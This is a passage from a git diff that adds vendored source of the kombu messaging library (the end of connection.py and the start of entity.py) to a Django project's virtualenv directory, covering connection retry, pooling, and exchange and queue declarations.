Logwrapped(chan, 'kombu.channel', + '[Kombu channel:{0.channel_id}] ') + return chan + + def heartbeat_check(self, rate=2): + """Check heartbeats. + + Allow the transport to perform any periodic tasks + required to make heartbeats work. This should be called + approximately every second. + + If the current transport does not support heartbeats then + this is a noop operation. + + Arguments: + rate (int): Rate is how often the tick is called + compared to the actual heartbeat value. E.g. if + the heartbeat is set to 3 seconds, and the tick + is called every 3 / 2 seconds, then the rate is 2. + This value is currently unused by any transports. + """ + return self.transport.heartbeat_check(self.connection, rate=rate) + + def drain_events(self, **kwargs): + """Wait for a single event from the server. + + Arguments: + timeout (float): Timeout in seconds before we give up. + + Raises: + socket.timeout: if the timeout is exceeded. + """ + return self.transport.drain_events(self.connection, **kwargs) + + def maybe_close_channel(self, channel): + """Close given channel, but ignore connection and channel errors.""" + try: + channel.close() + except (self.connection_errors + self.channel_errors): + pass + + def _do_close_self(self): + # Close only connection and channel(s), but not transport. + self.declared_entities.clear() + if self._default_channel: + self.maybe_close_channel(self._default_channel) + if self._connection: + try: + self.transport.close_connection(self._connection) + except self.connection_errors + (AttributeError, socket.error): + pass + self._connection = None + + def _close(self): + """Really close connection, even if part of a connection pool.""" + self._do_close_self() + self._do_close_transport() + self._debug('closed') + self._closed = True + + def _do_close_transport(self): + if self._transport: + self._transport.client = None + self._transport = None + + def collect(self, socket_timeout=None): + # amqp requires communication to close, we don't need that just + # to clear out references, Transport._collect can also be implemented + # by other transports that want fast after fork + try: + gc_transport = self._transport._collect + except AttributeError: + _timeo = socket.getdefaulttimeout() + socket.setdefaulttimeout(socket_timeout) + try: + self._do_close_self() + except socket.timeout: + pass + finally: + socket.setdefaulttimeout(_timeo) + else: + gc_transport(self._connection) + + self._do_close_transport() + self.declared_entities.clear() + self._connection = None + + def release(self): + """Close the connection (if open).""" + self._close() + close = release + + def ensure_connection(self, *args, **kwargs): + """Public interface of _ensure_connection for retro-compatibility. + + Returns kombu.Connection instance. + """ + self._ensure_connection(*args, **kwargs) + return self + + def _ensure_connection( + self, errback=None, max_retries=None, + interval_start=2, interval_step=2, interval_max=30, + callback=None, reraise_as_library_errors=True, + timeout=None + ): + """Ensure we have a connection to the server. + + If not retry establishing the connection with the settings + specified. + + Arguments: + errback (Callable): Optional callback called each time the + connection can't be established. Arguments provided are + the exception raised and the interval that will be + slept ``(exc, interval)``. + + max_retries (int): Maximum number of times to retry. + If this limit is exceeded the connection error + will be re-raised. + + interval_start (float): The number of seconds we start + sleeping for. + interval_step (float): How many seconds added to the interval + for each retry. + interval_max (float): Maximum number of seconds to sleep between + each retry. + callback (Callable): Optional callback that is called for every + internal iteration (1 s). + timeout (int): Maximum amount of time in seconds to spend + waiting for connection + """ + if self.connected: + return self._connection + + def on_error(exc, intervals, retries, interval=0): + round = self.completes_cycle(retries) + if round: + interval = next(intervals) + if errback: + errback(exc, interval) + self.maybe_switch_next() # select next host + + return interval if round else 0 + + ctx = self._reraise_as_library_errors + if not reraise_as_library_errors: + ctx = self._dummy_context + with ctx(): + return retry_over_time( + self._connection_factory, self.recoverable_connection_errors, + (), {}, on_error, max_retries, + interval_start, interval_step, interval_max, + callback, timeout=timeout + ) + + @contextmanager + def _reraise_as_library_errors( + self, + ConnectionError=exceptions.OperationalError, + ChannelError=exceptions.OperationalError): + try: + yield + except (ConnectionError, ChannelError): + raise + except self.recoverable_connection_errors as exc: + raise ConnectionError(str(exc)) from exc + except self.recoverable_channel_errors as exc: + raise ChannelError(str(exc)) from exc + + @contextmanager + def _dummy_context(self): + yield + + def completes_cycle(self, retries): + """Return true if the cycle is complete after number of `retries`.""" + return not (retries + 1) % len(self.alt) if self.alt else True + + def revive(self, new_channel): + """Revive connection after connection re-established.""" + if self._default_channel and new_channel is not self._default_channel: + self.maybe_close_channel(self._default_channel) + self._default_channel = None + + def ensure(self, obj, fun, errback=None, max_retries=None, + interval_start=1, interval_step=1, interval_max=1, + on_revive=None): + """Ensure operation completes. + + Regardless of any channel/connection errors occurring. + + Retries by establishing the connection, and reapplying + the function. + + Arguments: + obj: The object to ensure an action on. + fun (Callable): Method to apply. + + errback (Callable): Optional callback called each time the + connection can't be established. Arguments provided are + the exception raised and the interval that will + be slept ``(exc, interval)``. + + max_retries (int): Maximum number of times to retry. + If this limit is exceeded the connection error + will be re-raised. + + interval_start (float): The number of seconds we start + sleeping for. + interval_step (float): How many seconds added to the interval + for each retry. + interval_max (float): Maximum number of seconds to sleep between + each retry. + on_revive (Callable): Optional callback called whenever + revival completes successfully + + Examples: + >>> from kombu import Connection, Producer + >>> conn = Connection('amqp://') + >>> producer = Producer(conn) + + >>> def errback(exc, interval): + ... logger.error('Error: %r', exc, exc_info=1) + ... logger.info('Retry in %s seconds.', interval) + + >>> publish = conn.ensure(producer, producer.publish, + ... errback=errback, max_retries=3) + >>> publish({'hello': 'world'}, routing_key='dest') + """ + def _ensured(*args, **kwargs): + got_connection = 0 + conn_errors = self.recoverable_connection_errors + chan_errors = self.recoverable_channel_errors + has_modern_errors = hasattr( + self.transport, 'recoverable_connection_errors', + ) + with self._reraise_as_library_errors(): + for retries in count(0): # for infinity + try: + return fun(*args, **kwargs) + except conn_errors as exc: + if got_connection and not has_modern_errors: + # transport can not distinguish between + # recoverable/irrecoverable errors, so we propagate + # the error if it persists after a new connection + # was successfully established. + raise + if max_retries is not None and retries >= max_retries: + raise + self._debug('ensure connection error: %r', + exc, exc_info=1) + self.collect() + errback and errback(exc, 0) + remaining_retries = None + if max_retries is not None: + remaining_retries = max(max_retries - retries, 1) + self._ensure_connection( + errback, + remaining_retries, + interval_start, interval_step, interval_max, + reraise_as_library_errors=False, + ) + channel = self.default_channel + obj.revive(channel) + if on_revive: + on_revive(channel) + got_connection += 1 + except chan_errors as exc: + if max_retries is not None and retries > max_retries: + raise + self._debug('ensure channel error: %r', + exc, exc_info=1) + errback and errback(exc, 0) + _ensured.__name__ = f'{fun.__name__}(ensured)' + _ensured.__doc__ = fun.__doc__ + _ensured.__module__ = fun.__module__ + return _ensured + + def autoretry(self, fun, channel=None, **ensure_options): + """Decorator for functions supporting a ``channel`` keyword argument. + + The resulting callable will retry calling the function if + it raises connection or channel related errors. + The return value will be a tuple of ``(retval, last_created_channel)``. + + If a ``channel`` is not provided, then one will be automatically + acquired (remember to close it afterwards). + + See Also: + :meth:`ensure` for the full list of supported keyword arguments. + + Example: + >>> channel = connection.channel() + >>> try: + ... ret, channel = connection.autoretry( + ... publish_messages, channel) + ... finally: + ... channel.close() + """ + channels = [channel] + + class Revival: + __name__ = getattr(fun, '__name__', None) + __module__ = getattr(fun, '__module__', None) + __doc__ = getattr(fun, '__doc__', None) + + def __init__(self, connection): + self.connection = connection + + def revive(self, channel): + channels[0] = channel + + def __call__(self, *args, **kwargs): + if channels[0] is None: + self.revive(self.connection.default_channel) + return fun(*args, channel=channels[0], **kwargs), channels[0] + + revive = Revival(self) + return self.ensure(revive, revive, **ensure_options) + + def create_transport(self): + return self.get_transport_cls()(client=self) + + def get_transport_cls(self): + """Get the currently used transport class.""" + transport_cls = self.transport_cls + if not transport_cls or isinstance(transport_cls, str): + transport_cls = get_transport_cls(transport_cls) + return transport_cls + + def clone(self, **kwargs): + """Create a copy of the connection with same settings.""" + return self.__class__(**dict(self._info(resolve=False), **kwargs)) + + def get_heartbeat_interval(self): + return self.transport.get_heartbeat_interval(self.connection) + + def _info(self, resolve=True): + transport_cls = self.transport_cls + if resolve: + transport_cls = self.resolve_aliases.get( + transport_cls, transport_cls) + D = self.transport.default_connection_params + + if not self.hostname and D.get('hostname'): + logger.warning( + "No hostname was supplied. " + f"Reverting to default '{D.get('hostname')}'") + hostname = D.get('hostname') + else: + hostname = self.hostname + + if self.uri_prefix: + hostname = f'{self.uri_prefix}+{hostname}' + + info = ( + ('hostname', hostname), + ('userid', self.userid or D.get('userid')), + ('password', self.password or D.get('password')), + ('virtual_host', self.virtual_host or D.get('virtual_host')), + ('port', self.port or D.get('port')), + ('insist', self.insist), + ('ssl', self.ssl), + ('transport', transport_cls), + ('connect_timeout', self.connect_timeout), + ('transport_options', self.transport_options), + ('login_method', self.login_method or D.get('login_method')), + ('uri_prefix', self.uri_prefix), + ('heartbeat', self.heartbeat), + ('failover_strategy', self._failover_strategy), + ('alternates', self.alt), + ) + return info + + def info(self): + """Get connection info.""" + return dict(self._info()) + + def __eqhash__(self): + return HashedSeq(self.transport_cls, self.hostname, self.userid, + self.password, self.virtual_host, self.port, + repr(self.transport_options)) + + def as_uri(self, include_password=False, mask='**', + getfields=itemgetter('port', 'userid', 'password', + 'virtual_host', 'transport')) -> str: + """Convert connection parameters to URL form.""" + hostname = self.hostname or 'localhost' + if self.transport.can_parse_url: + connection_as_uri = self.hostname + try: + return self.transport.as_uri( + connection_as_uri, include_password, mask) + except NotImplementedError: + pass + + if self.uri_prefix: + connection_as_uri = f'{self.uri_prefix}+{hostname}' + if not include_password: + connection_as_uri = maybe_sanitize_url(connection_as_uri) + return connection_as_uri + if self.uri_prefix: + connection_as_uri = f'{self.uri_prefix}+{hostname}' + if not include_password: + connection_as_uri = maybe_sanitize_url(connection_as_uri) + return connection_as_uri + fields = self.info() + port, userid, password, vhost, transport = getfields(fields) + + return as_url( + transport, hostname, port, userid, password, quote(vhost), + sanitize=not include_password, mask=mask, + ) + + def Pool(self, limit=None, **kwargs): + """Pool of connections. + + See Also: + :class:`ConnectionPool`. + + Arguments: + limit (int): Maximum number of active connections. + Default is no limit. + + Example: + >>> connection = Connection('amqp://') + >>> pool = connection.Pool(2) + >>> c1 = pool.acquire() + >>> c2 = pool.acquire() + >>> c3 = pool.acquire() + Traceback (most recent call last): + File "", line 1, in + File "kombu/connection.py", line 354, in acquire + raise ConnectionLimitExceeded(self.limit) + kombu.exceptions.ConnectionLimitExceeded: 2 + >>> c1.release() + >>> c3 = pool.acquire() + """ + return ConnectionPool(self, limit, **kwargs) + + def ChannelPool(self, limit=None, **kwargs): + """Pool of channels. + + See Also: + :class:`ChannelPool`. + + Arguments: + limit (int): Maximum number of active channels. + Default is no limit. + + Example: + >>> connection = Connection('amqp://') + >>> pool = connection.ChannelPool(2) + >>> c1 = pool.acquire() + >>> c2 = pool.acquire() + >>> c3 = pool.acquire() + Traceback (most recent call last): + File "", line 1, in + File "kombu/connection.py", line 354, in acquire + raise ChannelLimitExceeded(self.limit) + kombu.connection.ChannelLimitExceeded: 2 + >>> c1.release() + >>> c3 = pool.acquire() + """ + return ChannelPool(self, limit, **kwargs) + + def Producer(self, channel=None, *args, **kwargs): + """Create new :class:`kombu.Producer` instance.""" + from .messaging import Producer + return Producer(channel or self, *args, **kwargs) + + def Consumer(self, queues=None, channel=None, *args, **kwargs): + """Create new :class:`kombu.Consumer` instance.""" + from .messaging import Consumer + return Consumer(channel or self, queues, *args, **kwargs) + + def SimpleQueue(self, name, no_ack=None, queue_opts=None, + queue_args=None, + exchange_opts=None, channel=None, **kwargs): + """Simple persistent queue API. + + Create new :class:`~kombu.simple.SimpleQueue`, using a channel + from this connection. + + If ``name`` is a string, a queue and exchange will be automatically + created using that name as the name of the queue and exchange, + also it will be used as the default routing key. + + Arguments: + name (str, kombu.Queue): Name of the queue/or a queue. + no_ack (bool): Disable acknowledgments. Default is false. + queue_opts (Dict): Additional keyword arguments passed to the + constructor of the automatically created :class:`~kombu.Queue`. + queue_args (Dict): Additional keyword arguments passed to the + constructor of the automatically created :class:`~kombu.Queue` + for setting implementation extensions (e.g., in RabbitMQ). + exchange_opts (Dict): Additional keyword arguments passed to the + constructor of the automatically created + :class:`~kombu.Exchange`. + channel (ChannelT): Custom channel to use. If not specified the + connection default channel is used. + """ + from .simple import SimpleQueue + return SimpleQueue(channel or self, name, no_ack, queue_opts, + queue_args, + exchange_opts, **kwargs) + + def SimpleBuffer(self, name, no_ack=None, queue_opts=None, + queue_args=None, + exchange_opts=None, channel=None, **kwargs): + """Simple ephemeral queue API. + + Create new :class:`~kombu.simple.SimpleQueue` using a channel + from this connection. + + See Also: + Same as :meth:`SimpleQueue`, but configured with buffering + semantics. The resulting queue and exchange will not be durable, + also auto delete is enabled. Messages will be transient (not + persistent), and acknowledgments are disabled (``no_ack``). + """ + from .simple import SimpleBuffer + return SimpleBuffer(channel or self, name, no_ack, queue_opts, + queue_args, + exchange_opts, **kwargs) + + def _establish_connection(self): + self._debug('establishing connection...') + conn = self.transport.establish_connection() + self._debug('connection established: %r', self) + return conn + + def supports_exchange_type(self, exchange_type): + return exchange_type in self.transport.implements.exchange_type + + def __repr__(self): + return f'' + + def __copy__(self): + return self.clone() + + def __reduce__(self): + return self.__class__, tuple(self.info().values()), None + + def __enter__(self): + return self + + def __exit__(self, *args): + self.release() + + @property + def qos_semantics_matches_spec(self): + return self.transport.qos_semantics_matches_spec(self.connection) + + def _extract_failover_opts(self): + conn_opts = {'timeout': self.connect_timeout} + transport_opts = self.transport_options + if transport_opts: + if 'max_retries' in transport_opts: + conn_opts['max_retries'] = transport_opts['max_retries'] + if 'interval_start' in transport_opts: + conn_opts['interval_start'] = transport_opts['interval_start'] + if 'interval_step' in transport_opts: + conn_opts['interval_step'] = transport_opts['interval_step'] + if 'interval_max' in transport_opts: + conn_opts['interval_max'] = transport_opts['interval_max'] + return conn_opts + + @property + def connected(self): + """Return true if the connection has been established.""" + return (not self._closed and + self._connection is not None and + self.transport.verify_connection(self._connection)) + + @property + def connection(self): + """The underlying connection object. + + Warning: + This instance is transport specific, so do not + depend on the interface of this object. + """ + if not self._closed: + if not self.connected: + return self._ensure_connection( + max_retries=1, reraise_as_library_errors=False + ) + return self._connection + + def _connection_factory(self): + self.declared_entities.clear() + self._default_channel = None + self._connection = self._establish_connection() + self._closed = False + return self._connection + + @property + def default_channel(self): + """Default channel. + + Created upon access and closed when the connection is closed. + + Note: + Can be used for automatic channel handling when you only need one + channel, and also it is the channel implicitly used if + a connection is passed instead of a channel, to functions that + require a channel. + """ + # make sure we're still connected, and if not refresh. + conn_opts = self._extract_failover_opts() + self._ensure_connection(**conn_opts) + + if self._default_channel is None: + self._default_channel = self.channel() + return self._default_channel + + @property + def host(self): + """The host as a host name/port pair separated by colon.""" + return ':'.join([self.hostname, str(self.port)]) + + @property + def transport(self): + if self._transport is None: + self._transport = self.create_transport() + return self._transport + + @cached_property + def manager(self): + """AMQP Management API. + + Experimental manager that can be used to manage/monitor the broker + instance. + + Not available for all transports. + """ + return self.transport.manager + + def get_manager(self, *args, **kwargs): + return self.transport.get_manager(*args, **kwargs) + + @cached_property + def recoverable_connection_errors(self): + """Recoverable connection errors. + + List of connection related exceptions that can be recovered from, + but where the connection must be closed and re-established first. + """ + try: + return self.get_transport_cls().recoverable_connection_errors + except AttributeError: + # There were no such classification before, + # and all errors were assumed to be recoverable, + # so this is a fallback for transports that do + # not support the new recoverable/irrecoverable classes. + return self.connection_errors + self.channel_errors + + @cached_property + def recoverable_channel_errors(self): + """Recoverable channel errors. + + List of channel related exceptions that can be automatically + recovered from without re-establishing the connection. + """ + try: + return self.get_transport_cls().recoverable_channel_errors + except AttributeError: + return () + + @cached_property + def connection_errors(self): + """List of exceptions that may be raised by the connection.""" + return self.get_transport_cls().connection_errors + + @cached_property + def channel_errors(self): + """List of exceptions that may be raised by the channel.""" + return self.get_transport_cls().channel_errors + + @property + def supports_heartbeats(self): + return self.transport.implements.heartbeats + + @property + def is_evented(self): + return self.transport.implements.asynchronous + + +BrokerConnection = Connection + + +class ConnectionPool(Resource): + """Pool of connections.""" + + LimitExceeded = exceptions.ConnectionLimitExceeded + close_after_fork = True + + def __init__(self, connection, limit=None, **kwargs): + self.connection = connection + super().__init__(limit=limit) + + def new(self): + return self.connection.clone() + + def release_resource(self, resource): + try: + resource._debug('released') + except AttributeError: + pass + + def close_resource(self, resource): + resource._close() + + def collect_resource(self, resource, socket_timeout=0.1): + if not isinstance(resource, lazy): + return resource.collect(socket_timeout) + + @contextmanager + def acquire_channel(self, block=False): + with self.acquire(block=block) as connection: + yield connection, connection.default_channel + + def setup(self): + if self.limit: + q = self._resource.queue + while len(q) < self.limit: + self._resource.put_nowait(lazy(self.new)) + + def prepare(self, resource): + if callable(resource): + resource = resource() + resource._debug('acquired') + return resource + + +class ChannelPool(Resource): + """Pool of channels.""" + + LimitExceeded = exceptions.ChannelLimitExceeded + + def __init__(self, connection, limit=None, **kwargs): + self.connection = connection + super().__init__(limit=limit) + + def new(self): + return lazy(self.connection.channel) + + def setup(self): + channel = self.new() + if self.limit: + q = self._resource.queue + while len(q) < self.limit: + self._resource.put_nowait(lazy(channel)) + + def prepare(self, channel): + if callable(channel): + channel = channel() + return channel + + +def maybe_channel(channel): + """Get channel from object. + + Return the default channel if argument is a connection instance, + otherwise just return the channel given. + """ + if is_connection(channel): + return channel.default_channel + return channel + + +def is_connection(obj): + return isinstance(obj, Connection) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/entity.py b/django_lottopy/lib/python3.10/site-packages/kombu/entity.py new file mode 100644 index 00000000..a89fabb9 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/entity.py @@ -0,0 +1,866 @@ +"""Exchange and Queue declarations.""" + +import numbers + +from .abstract import MaybeChannelBound, Object +from .exceptions import ContentDisallowed +from .serialization import prepare_accept_content + +TRANSIENT_DELIVERY_MODE = 1 +PERSISTENT_DELIVERY_MODE = 2 +DELIVERY_MODES = {'transient': TRANSIENT_DELIVERY_MODE, + 'persistent': PERSISTENT_DELIVERY_MODE} + +__all__ = ('Exchange', 'Queue', 'binding', 'maybe_delivery_mode') + +INTERNAL_EXCHANGE_PREFIX = ('amq.',) + + +def _reprstr(s): + s = repr(s) + if isinstance(s, str) and s.startswith("u'"): + return s[2:-1] + return s[1:-1] + + +def pretty_bindings(bindings): + return '[{}]'.format(', '.join(map(str, bindings))) + + +def maybe_delivery_mode( + v, modes=None, default=PERSISTENT_DELIVERY_MODE): + """Get delivery mode by name (or none if undefined).""" + modes = DELIVERY_MODES if not modes else modes + if v: + return v if isinstance(v, numbers.Integral) else modes[v] + return default + + +class Exchange(MaybeChannelBound): + """An Exchange declaration. + + Arguments: + name (str): See :attr:`name`. + type (str): See :attr:`type`. + channel (kombu.Connection, ChannelT): See :attr:`channel`. + durable (bool): See :attr:`durable`. + auto_delete (bool): See :attr:`auto_delete`. + delivery_mode (enum): See :attr:`delivery_mode`. + arguments (Dict): See :attr:`arguments`. + no_declare (bool): See :attr:`no_declare` + + Attributes: + name (str): Name of the exchange. + Default is no name (the default exchange). + + type (str): + *This description of AMQP exchange types was shamelessly stolen + from the blog post `AMQP in 10 minutes: Part 4`_ by + Rajith Attapattu. Reading this article is recommended if you're + new to amqp.* + + "AMQP defines four default exchange types (routing algorithms) that + covers most of the common messaging use cases. An AMQP broker can + also define additional exchange types, so see your broker + manual for more information about available exchange types. + + * `direct` (*default*) + + Direct match between the routing key in the message, + and the routing criteria used when a queue is bound to + this exchange. + + * `topic` + + Wildcard match between the routing key and the routing + pattern specified in the exchange/queue binding. + The routing key is treated as zero or more words delimited + by `"."` and supports special wildcard characters. `"*"` + matches a single word and `"#"` matches zero or more words. + + * `fanout` + + Queues are bound to this exchange with no arguments. Hence + any message sent to this exchange will be forwarded to all + queues bound to this exchange. + + * `headers` + + Queues are bound to this exchange with a table of arguments + containing headers and values (optional). A special + argument named "x-match" determines the matching algorithm, + where `"all"` implies an `AND` (all pairs must match) and + `"any"` implies `OR` (at least one pair must match). + + :attr:`arguments` is used to specify the arguments. + + + .. _`AMQP in 10 minutes: Part 4`: + https://bit.ly/2rcICv5 + + channel (ChannelT): The channel the exchange is bound to (if bound). + + durable (bool): Durable exchanges remain active when a server restarts. + Non-durable exchanges (transient exchanges) are purged when a + server restarts. Default is :const:`True`. + + auto_delete (bool): If set, the exchange is deleted when all queues + have finished using it. Default is :const:`False`. + + delivery_mode (enum): The default delivery mode used for messages. + The value is an integer, or alias string. + + * 1 or `"transient"` + + The message is transient. Which means it is stored in + memory only, and is lost if the server dies or restarts. + + * 2 or "persistent" (*default*) + The message is persistent. Which means the message is + stored both in-memory, and on disk, and therefore + preserved if the server dies or restarts. + + The default value is 2 (persistent). + + arguments (Dict): Additional arguments to specify when the exchange + is declared. + + no_declare (bool): Never declare this exchange + (:meth:`declare` does nothing). + """ + + TRANSIENT_DELIVERY_MODE = TRANSIENT_DELIVERY_MODE + PERSISTENT_DELIVERY_MODE = PERSISTENT_DELIVERY_MODE + + name = '' + type = 'direct' + durable = True + auto_delete = False + passive = False + delivery_mode = None + no_declare = False + + attrs = ( + ('name', None), + ('type', None), + ('arguments', None), + ('durable', bool), + ('passive', bool), + ('auto_delete', bool), + ('delivery_mode', lambda m: DELIVERY_MODES.get(m) or m), + ('no_declare', bool), + ) + + def __init__(self, name='', type='', channel=None, **kwargs): + super().__init__(**kwargs) + self.name = name or self.name + self.type = type or self.type + self.maybe_bind(channel) + + def __hash__(self): + return hash(f'E|{self.name}') + + def _can_declare(self): + return not self.no_declare and ( + self.name and not self.name.startswith( + INTERNAL_EXCHANGE_PREFIX)) + + def declare(self, nowait=False, passive=None, channel=None): + """Declare the exchange. + + Creates the exchange on the broker, unless passive is set + in which case it will only assert that the exchange exists. + + Argument: + nowait (bool): If set the server will not respond, and a + response will not be waited for. Default is :const:`False`. + """ + if self._can_declare(): + passive = self.passive if passive is None else passive + return (channel or self.channel).exchange_declare( + exchange=self.name, type=self.type, durable=self.durable, + auto_delete=self.auto_delete, arguments=self.arguments, + nowait=nowait, passive=passive, + ) + + def bind_to(self, exchange='', routing_key='', + arguments=None, nowait=False, channel=None, **kwargs): + """Bind the exchange to another exchange. + + Arguments: + nowait (bool): If set the server will not respond, and the call + will not block waiting for a response. + Default is :const:`False`. + """ + if isinstance(exchange, Exchange): + exchange = exchange.name + return (channel or self.channel).exchange_bind( + destination=self.name, + source=exchange, + routing_key=routing_key, + nowait=nowait, + arguments=arguments, + ) + + def unbind_from(self, source='', routing_key='', + nowait=False, arguments=None, channel=None): + """Delete previously created exchange binding from the server.""" + if isinstance(source, Exchange): + source = source.name + return (channel or self.channel).exchange_unbind( + destination=self.name, + source=source, + routing_key=routing_key, + nowait=nowait, + arguments=arguments, + ) + + def Message(self, body, delivery_mode=None, properties=None, **kwargs): + """Create message instance to be sent with :meth:`publish`. + + Arguments: + body (Any): Message body. + + delivery_mode (bool): Set custom delivery mode. + Defaults to :attr:`delivery_mode`. + + priority (int): Message priority, 0 to broker configured + max priority, where higher is better. + + content_type (str): The messages content_type. If content_type + is set, no serialization occurs as it is assumed this is either + a binary object, or you've done your own serialization. + Leave blank if using built-in serialization as our library + properly sets content_type. + + content_encoding (str): The character set in which this object + is encoded. Use "binary" if sending in raw binary objects. + Leave blank if using built-in serialization as our library + properly sets content_encoding. + + properties (Dict): Message properties. + + headers (Dict): Message headers. + """ + properties = {} if properties is None else properties + properties['delivery_mode'] = maybe_delivery_mode(self.delivery_mode) + if (isinstance(body, str) and + properties.get('content_encoding', None)) is None: + kwargs['content_encoding'] = 'utf-8' + return self.channel.prepare_message( + body, + properties=properties, + **kwargs) + + def publish(self, message, routing_key=None, mandatory=False, + immediate=False, exchange=None): + """Publish message. + + Arguments: + message (Union[kombu.Message, str, bytes]): + Message to publish. + routing_key (str): Message routing key. + mandatory (bool): Currently not supported. + immediate (bool): Currently not supported. + """ + if isinstance(message, str): + message = self.Message(message) + exchange = exchange or self.name + return self.channel.basic_publish( + message, + exchange=exchange, + routing_key=routing_key, + mandatory=mandatory, + immediate=immediate, + ) + + def delete(self, if_unused=False, nowait=False): + """Delete the exchange declaration on server. + + Arguments: + if_unused (bool): Delete only if the exchange has no bindings. + Default is :const:`False`. + nowait (bool): If set the server will not respond, and a + response will not be waited for. Default is :const:`False`. + """ + return self.channel.exchange_delete(exchange=self.name, + if_unused=if_unused, + nowait=nowait) + + def binding(self, routing_key='', arguments=None, unbind_arguments=None): + return binding(self, routing_key, arguments, unbind_arguments) + + def __eq__(self, other): + if isinstance(other, Exchange): + return (self.name == other.name and + self.type == other.type and + self.arguments == other.arguments and + self.durable == other.durable and + self.auto_delete == other.auto_delete and + self.delivery_mode == other.delivery_mode) + return NotImplemented + + def __ne__(self, other): + return not self.__eq__(other) + + def __repr__(self): + return self._repr_entity(self) + + def __str__(self): + return 'Exchange {}({})'.format( + _reprstr(self.name) or repr(''), self.type, + ) + + @property + def can_cache_declaration(self): + return not self.auto_delete + + +class binding(Object): + """Represents a queue or exchange binding. + + Arguments: + exchange (Exchange): Exchange to bind to. + routing_key (str): Routing key used as binding key. + arguments (Dict): Arguments for bind operation. + unbind_arguments (Dict): Arguments for unbind operation. + """ + + attrs = ( + ('exchange', None), + ('routing_key', None), + ('arguments', None), + ('unbind_arguments', None) + ) + + def __init__(self, exchange=None, routing_key='', + arguments=None, unbind_arguments=None): + self.exchange = exchange + self.routing_key = routing_key + self.arguments = arguments + self.unbind_arguments = unbind_arguments + + def declare(self, channel, nowait=False): + """Declare destination exchange.""" + if self.exchange and self.exchange.name: + self.exchange.declare(channel=channel, nowait=nowait) + + def bind(self, entity, nowait=False, channel=None): + """Bind entity to this binding.""" + entity.bind_to(exchange=self.exchange, + routing_key=self.routing_key, + arguments=self.arguments, + nowait=nowait, + channel=channel) + + def unbind(self, entity, nowait=False, channel=None): + """Unbind entity from this binding.""" + entity.unbind_from(self.exchange, + routing_key=self.routing_key, + arguments=self.unbind_arguments, + nowait=nowait, + channel=channel) + + def __repr__(self): + return f'' + + def __str__(self): + return '{}->{}'.format( + _reprstr(self.exchange.name), _reprstr(self.routing_key), + ) + + +class Queue(MaybeChannelBound): + """A Queue declaration. + + Arguments: + name (str): See :attr:`name`. + exchange (Exchange, str): See :attr:`exchange`. + routing_key (str): See :attr:`routing_key`. + channel (kombu.Connection, ChannelT): See :attr:`channel`. + durable (bool): See :attr:`durable`. + exclusive (bool): See :attr:`exclusive`. + auto_delete (bool): See :attr:`auto_delete`. + queue_arguments (Dict): See :attr:`queue_arguments`. + binding_arguments (Dict): See :attr:`binding_arguments`. + consumer_arguments (Dict): See :attr:`consumer_arguments`. + no_declare (bool): See :attr:`no_declare`. + on_declared (Callable): See :attr:`on_declared`. + expires (float): See :attr:`expires`. + message_ttl (float): See :attr:`message_ttl`. + max_length (int): See :attr:`max_length`. + max_length_bytes (int): See :attr:`max_length_bytes`. + max_priority (int): See :attr:`max_priority`. + + Attributes: + name (str): Name of the queue. + Default is no name (default queue destination). + + exchange (Exchange): The :class:`Exchange` the queue binds to. + + routing_key (str): The routing key (if any), also called *binding key*. + + The interpretation of the routing key depends on + the :attr:`Exchange.type`. + + * direct exchange + + Matches if the routing key property of the message and + the :attr:`routing_key` attribute are identical. + + * fanout exchange + + Always matches, even if the binding does not have a key. + + * topic exchange + + Matches the routing key property of the message by a primitive + pattern matching scheme. The message routing key then consists + of words separated by dots (`"."`, like domain names), and + two special characters are available; star (`"*"`) and hash + (`"#"`). The star matches any word, and the hash matches + zero or more words. For example `"*.stock.#"` matches the + routing keys `"usd.stock"` and `"eur.stock.db"` but not + `"stock.nasdaq"`. + + channel (ChannelT): The channel the Queue is bound to (if bound). + + durable (bool): Durable queues remain active when a server restarts. + Non-durable queues (transient queues) are purged if/when + a server restarts. + Note that durable queues do not necessarily hold persistent + messages, although it does not make sense to send + persistent messages to a transient queue. + + Default is :const:`True`. + + exclusive (bool): Exclusive queues may only be consumed from by the + current connection. Setting the 'exclusive' flag + always implies 'auto-delete'. + + Default is :const:`False`. + + auto_delete (bool): If set, the queue is deleted when all consumers + have finished using it. Last consumer can be canceled + either explicitly or because its channel is closed. If + there was no consumer ever on the queue, it won't be + deleted. + + expires (float): Set the expiry time (in seconds) for when this + queue should expire. + + The expiry time decides how long the queue can stay unused + before it's automatically deleted. + *Unused* means the queue has no consumers, the queue has not been + redeclared, and ``Queue.get`` has not been invoked for a duration + of at least the expiration period. + + See https://www.rabbitmq.com/ttl.html#queue-ttl + + **RabbitMQ extension**: Only available when using RabbitMQ. + + message_ttl (float): Message time to live in seconds. + + This setting controls how long messages can stay in the queue + unconsumed. If the expiry time passes before a message consumer + has received the message, the message is deleted and no consumer + will see the message. + + See https://www.rabbitmq.com/ttl.html#per-queue-message-ttl + + **RabbitMQ extension**: Only available when using RabbitMQ. + + max_length (int): Set the maximum number of messages that the + queue can hold. + + If the number of messages in the queue size exceeds this limit, + new messages will be dropped (or dead-lettered if a dead letter + exchange is active). + + See https://www.rabbitmq.com/maxlength.html + + **RabbitMQ extension**: Only available when using RabbitMQ. + + max_length_bytes (int): Set the max size (in bytes) for the total + of messages in the queue. + + If the total size of all the messages in the queue exceeds this + limit, new messages will be dropped (or dead-lettered if a dead + letter exchange is active). + + **RabbitMQ extension**: Only available when using RabbitMQ. + + max_priority (int): Set the highest priority number for this queue. + + For example if the value is 10, then messages can delivered to + this queue can have a ``priority`` value between 0 and 10, + where 10 is the highest priority. + + RabbitMQ queues without a max priority set will ignore + the priority field in the message, so if you want priorities + you need to set the max priority field to declare the queue + as a priority queue. + + **RabbitMQ extension**: Only available when using RabbitMQ. + + queue_arguments (Dict): Additional arguments used when declaring + the queue. Can be used to to set the arguments value + for RabbitMQ/AMQP's ``queue.declare``. + + binding_arguments (Dict): Additional arguments used when binding + the queue. Can be used to to set the arguments value + for RabbitMQ/AMQP's ``queue.declare``. + + consumer_arguments (Dict): Additional arguments used when consuming + from this queue. Can be used to to set the arguments value + for RabbitMQ/AMQP's ``basic.consume``. + + alias (str): Unused in Kombu, but applications can take advantage + of this, for example to give alternate names to queues with + automatically generated queue names. + + on_declared (Callable): Optional callback to be applied when the + queue has been declared (the ``queue_declare`` operation is + complete). This must be a function with a signature that + accepts at least 3 positional arguments: + ``(name, messages, consumers)``. + + no_declare (bool): Never declare this queue, nor related + entities (:meth:`declare` does 